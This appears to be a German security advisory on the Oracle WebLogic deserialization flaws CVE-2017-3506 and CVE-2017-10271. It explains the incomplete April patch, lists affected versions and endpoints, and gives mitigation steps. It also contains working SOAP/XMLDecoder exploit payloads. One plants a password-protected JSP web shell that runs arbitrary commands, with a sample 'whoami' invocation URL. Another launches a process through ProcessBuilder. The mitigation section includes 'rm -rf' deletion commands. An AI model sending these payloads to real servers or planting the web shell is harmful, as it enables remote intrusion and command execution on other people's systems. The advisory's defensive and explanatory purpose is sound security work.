
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Zu Beginn nutzten Angreifer eine Schwachstelle in der WebLogic-WLS-Komponente für großflächige Remote-Angriffe auf Unternehmensserver aus. Zahlreiche Unternehmensserver wurden kompromittiert, und die Zahl der angegriffenen Unternehmen zeigte einen deutlichen Aufwärtstrend, weshalb dieser Vorfall mit hoher Aufmerksamkeit behandelt werden muss. CVE-2017-3506 ist eine Schwachstelle zur Remote-Codeausführung in der WLS-Komponente von Oracle WebLogic. Es handelt sich um eine in freier Wildbahn ausgenutzte Schwachstelle ohne veröffentlichte Details; viele Unternehmen hatten den Patch noch nicht rechtzeitig installiert. Der offizielle Patch wurde von Oracle bereits im April 2017 veröffentlicht.
Erläuterung des Patches für CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Vor der Deserialisierung wird lediglich eine validate-Funktion eingefügt. Wenn qName gleich "object" ist, wird eine Ausnahme ausgelöst und die Verarbeitung beendet. Das ist einfach und brachial, aber eine derartige Blacklist-Behebung lässt sich nur schwer vollständig absichern. Das gibt zu denken …
Die Ausnutzung dieser Schwachstelle ist vergleichsweise einfach: Ein Angreifer muss lediglich eine speziell konstruierte HTTP-Anfrage senden, um Berechtigungen auf dem Zielserver zu erlangen. Das Schadenspotenzial ist enorm. Da die Schwachstelle relativ neu ist, gibt es weiterhin viele Hosts, die den entsprechenden Patch noch nicht installiert haben. Es ist zu erwarten, dass nach diesem Vorfall die Zahl der Angriffe sprunghaft ansteigt und viele neue Hosts kompromittiert werden.
Der offizielle April-Patch von Oracle behebt CVE-2017-3506 nicht vollständig; der Patch kann umgangen werden, und Remote-Befehle können weiterhin ausgeführt werden. Die derzeit umgangene Schwachstelle CVE-2017-10271 wurde im offiziellen Oktober-Patch behoben.
CVE-2017-10271 (Umgehungsschwachstelle der Remote-Befehlsausführung in wls-wsat)
Oracle WebLogic Server Version 10.3.6.0.0
Oracle WebLogic Server Version 12.1.3.0.0
Oracle WebLogic Server Version 12.2.1.1.0
Oracle WebLogic Server Version 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Setzen Sie Zugriffskontrollen für den Zugriff auf wls-wsat durch.
Temporäre Lösung
Löschen Sie, sofern der Geschäftsbetrieb nicht beeinträchtigt wird, je nach tatsächlichem Umgebungspfad die folgenden WAR-Pakete und -Verzeichnisse der WebLogic-Installation:
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Starten Sie den WebLogic-Dienst oder das System neu und überprüfen Sie anschließend, ob der Zugriff auf den folgenden Link den Status 404 zurückgibt:
http://ip:port/wls-wsat/CoordinatorPortType11